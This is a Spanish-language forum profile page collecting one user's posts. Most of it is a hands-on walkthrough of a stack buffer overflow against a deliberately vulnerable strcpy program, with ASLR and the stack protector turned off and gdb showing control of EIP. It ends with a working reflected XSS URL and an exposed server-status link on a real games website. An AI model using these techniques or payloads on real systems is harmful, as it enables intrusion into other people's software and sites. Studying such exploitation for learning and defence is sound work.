Me gustaria participar
Seria algo interesante, solamente tengo una duda: Se obvia el instalador? (por los XSSes)
Seria algo interesante, solamente tengo una duda: Se obvia el instalador? (por los XSSes)
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ldd vulnerable |grep linux-gate
linux-gate.so.1 => (0xb7fe3000)
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ objdump -T vulnerable
vulnerable: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 000001b2 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000024 GLIBC_2.0 strcpy
00000000 DF *UND* 00000020 GLIBC_2.4 __stack_chk_fail
080484ec g DO .rodata 00000004 Base _IO_stdin_used
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ nm vulnerable |grep U
U __libc_start_main@@GLIBC_2.0
U __stack_chk_fail@@GLIBC_2.4
U strcpy@@GLIBC_2.0
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ objdump -d vulnerable --section=.plt |tail -n 4
08048330 <__stack_chk_fail@plt>:
8048330: ff 25 f4 95 04 08 jmp *0x80495f4
8048336: 68 18 00 00 00 push $0x18
804833b: e9 b0 ff ff ff jmp 80482f0 <_init+0x30>
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gdb -q vulnerable
(gdb) r $(perl -e 'print "A"x40')
Starting program: /home/c1c4tr1z/Escritorio/vulnerable $(perl -e 'print "A"x40')
*** stack smashing detected ***: /home/c1c4tr1z/Escritorio/vulnerable terminated
[...]
Program received signal SIGABRT, Aborted.
0xb7fe3410 in __kernel_vsyscall ()
(gdb) bt
#0 0xb7fe3410 in __kernel_vsyscall ()
#1 0xb7ea7085 in raise () from /lib/tls/i686/cmov/libc.so.6
#2 0xb7ea8a01 in abort () from /lib/tls/i686/cmov/libc.so.6
#3 0xb7edfb7c in ?? () from /lib/tls/i686/cmov/libc.so.6
#4 0xb7f69138 in __fortify_fail () from /lib/tls/i686/cmov/libc.so.6
#5 0xb7f690f0 in __stack_chk_fail () from /lib/tls/i686/cmov/libc.so.6
#6 0x080483fe in overflow ()
#7 0x08048400 in overflow ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) disas 0xb7fe3410
Dump of assembler code for function __kernel_vsyscall:
0xb7fe3400 <__kernel_vsyscall+0>: push %ecx
0xb7fe3401 <__kernel_vsyscall+1>: push %edx
0xb7fe3402 <__kernel_vsyscall+2>: push %ebp
0xb7fe3403 <__kernel_vsyscall+3>: mov %esp,%ebp
0xb7fe3405 <__kernel_vsyscall+5>: sysenter
0xb7fe3407 <__kernel_vsyscall+7>: nop
0xb7fe3408 <__kernel_vsyscall+8>: nop
0xb7fe3409 <__kernel_vsyscall+9>: nop
0xb7fe340a <__kernel_vsyscall+10>: nop
0xb7fe340b <__kernel_vsyscall+11>: nop
0xb7fe340c <__kernel_vsyscall+12>: nop
0xb7fe340d <__kernel_vsyscall+13>: nop
0xb7fe340e <__kernel_vsyscall+14>: jmp 0xb7fe3403 <__kernel_vsyscall+3>
0xb7fe3410 <__kernel_vsyscall+16>: pop %ebp
0xb7fe3411 <__kernel_vsyscall+17>: pop %edx
0xb7fe3412 <__kernel_vsyscall+18>: pop %ecx
0xb7fe3413 <__kernel_vsyscall+19>: ret
End of assembler dump.
(gdb)
c1c4tr1z@c1c4tr1z-desktop:~$ gcc -v
Usando especificaciones internas.
Objetivo: i486-linux-gnu
Configurado con: ../src/configure -v --enable-languages=c,c++,fortran,objc,obj-c++,treelang --prefix=/usr --enable-shared --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --enable-nls --with-gxx-include-dir=/usr/include/c++/4.2 --program-suffix=-4.2 --enable-clocale=gnu --enable-libstdcxx-debug --enable-objc-gc --enable-mpfr --enable-targets=all --enable-checking=release --build=i486-linux-gnu --host=i486-linux-gnu --target=i486-linux-gnu
Modelo de hilos: posix
gcc versión 4.2.4 (Ubuntu 4.2.4-1ubuntu3)
#include <stdio.h>
unsigned long esp(void){
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]){
printf("0x%08x\n",esp());
return 0;
}
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat /proc/sys/kernel/randomize_va_space
1
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat > esp.c << _END_
> #include <stdio.h>
>
> unsigned long esp(void){
> __asm__("movl %esp, %eax");
> }
>
> int main(int argc, char *argv[]){
> printf("0x%08x\n",esp());
> return 0;
> }
>
> _END_
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gcc esp.c -o esp
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbfef2448
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbfd48298
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbfa24778
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$
root@c1c4tr1z-desktop:~# echo 0 > /proc/sys/kernel/randomize_va_space
[...]
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat /proc/sys/kernel/randomize_va_space
0
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbffff558
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbffff558
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbffff558
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$
#include <stdio.h>
#include <string.h>
void overflow(char *badbeef){
char buffer[32];
strcpy(buffer, badbeef);
}
int main(int argc, char *argv[]){
overflow(argv[1]);
return 0;
}
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat > vulnerable.c <<_END_
> #include <stdio.h>
> #include <string.h>
>
> void overflow(char *badbeef){
> char buffer[32];
> strcpy(buffer, badbeef);
> }
>
> int main(int argc, char *argv[]){
> overflow(argv[1]);
> return 0;
> }
>
> _END_
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gcc vulnerable.c -o vulnerable
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x32')
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x36#EBP')
*** stack smashing detected ***: ./vulnerable terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f69138]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f690f0]
./vulnerable[0x80483fe]
./vulnerable[0x8048421]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:02 534536 /home/c1c4tr1z/Escritorio/vulnerable
08049000-0804a000 rw-p 00000000 08:02 534536 /home/c1c4tr1z/Escritorio/vulnerable
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7e70000-b7e7a000 r-xp 00000000 08:02 197220 /lib/libgcc_s.so.1
b7e7a000-b7e7b000 rw-p 0000a000 08:02 197220 /lib/libgcc_s.so.1
b7e7b000-b7e7c000 rw-p b7e7b000 00:00 0
b7e7c000-b7fc5000 r-xp 00000000 08:02 1425929 /lib/tls/i686/cmov/libc-2.7.so
b7fc5000-b7fc6000 r--p 00149000 08:02 1425929 /lib/tls/i686/cmov/libc-2.7.so
b7fc6000-b7fc8000 rw-p 0014a000 08:02 1425929 /lib/tls/i686/cmov/libc-2.7.so
b7fc8000-b7fcb000 rw-p b7fc8000 00:00 0
b7fe1000-b7fe3000 rw-p b7fe1000 00:00 0
b7fe3000-b7fe4000 r-xp b7fe3000 00:00 0 [vdso]
b7fe4000-b7ffe000 r-xp 00000000 08:02 196676 /lib/ld-2.7.so
b7ffe000-b8000000 rw-p 00019000 08:02 196676 /lib/ld-2.7.so
bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]
Cancelado
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x44#EIP')
*** stack smashing detected ***: ./vulnerable terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f69138]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f690f0]
./vulnerable[0x80483fe]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:02 534536 /home/c1c4tr1z/Escritorio/vulnerable
08049000-0804a000 rw-p 00000000 08:02 534536 /home/c1c4tr1z/Escritorio/vulnerable
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7e70000-b7e7a000 r-xp 00000000 08:02 197220 /lib/libgcc_s.so.1
b7e7a000-b7e7b000 rw-p 0000a000 08:02 197220 /lib/libgcc_s.so.1
b7e7b000-b7e7c000 rw-p b7e7b000 00:00 0
b7e7c000-b7fc5000 r-xp 00000000 08:02 1425929 /lib/tls/i686/cmov/libc-2.7.so
b7fc5000-b7fc6000 r--p 00149000 08:02 1425929 /lib/tls/i686/cmov/libc-2.7.so
b7fc6000-b7fc8000 rw-p 0014a000 08:02 1425929 /lib/tls/i686/cmov/libc-2.7.so
b7fc8000-b7fcb000 rw-p b7fc8000 00:00 0
b7fe1000-b7fe3000 rw-p b7fe1000 00:00 0
b7fe3000-b7fe4000 r-xp b7fe3000 00:00 0 [vdso]
b7fe4000-b7ffe000 r-xp 00000000 08:02 196676 /lib/ld-2.7.so
b7ffe000-b8000000 rw-p 00019000 08:02 196676 /lib/ld-2.7.so
bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]
Cancelado
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gdb -q vulnerable
(gdb) disas 0x80483ef
Dump of assembler code for function overflow:
0x080483c4 <overflow+0>: push %ebp
0x080483c5 <overflow+1>: mov %esp,%ebp
0x080483c7 <overflow+3>: sub $0x48,%esp
0x080483ca <overflow+6>: mov 0x8(%ebp),%eax
0x080483cd <overflow+9>: mov %eax,-0x34(%ebp)
0x080483d0 <overflow+12>: mov %gs:0x14,%eax
0x080483d6 <overflow+18>: mov %eax,-0x4(%ebp)
0x080483d9 <overflow+21>: xor %eax,%eax
0x080483db <overflow+23>: mov -0x34(%ebp),%eax
0x080483de <overflow+26>: mov %eax,0x4(%esp)
0x080483e2 <overflow+30>: lea -0x24(%ebp),%eax
0x080483e5 <overflow+33>: mov %eax,(%esp)
[b]0x080483e8 <overflow+36>: call 0x8048320 <strcpy@plt>[/b]
0x080483ed <overflow+41>: mov -0x4(%ebp),%eax
0x080483f0 <overflow+44>: xor %gs:0x14,%eax
0x080483f7 <overflow+51>: je 0x80483fe <overflow+58>
0x080483f9 <overflow+53>: call 0x8048330 <__stack_chk_fail@plt>
0x080483fe <overflow+58>: leave
0x080483ff <overflow+59>: ret
End of assembler dump.
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gcc --no-stack-protector vulnerable.c -o vulnerable
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x44#EIP')
Fallo de segmentación
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gdb -q vulnerable
(gdb) r $(perl -e 'print "A"x36 ,"B"x4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/c1c4tr1z/Escritorio/vulnerable $(perl -e 'print "A"x36 ,"B"x4')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp
eip 0x42424242 0x42424242
ebp 0x41414141 0x41414141
(gdb)
http://www.minijuegos.com/busqueda.php?nov=0&termino=%22%3E%3Cmarquee%3E%3Ch1%3EXSS%3C/h1%3E%3C/marquee%3E
http://www.minijuegos.com/server-status
http://www.minitorneos.com/registro/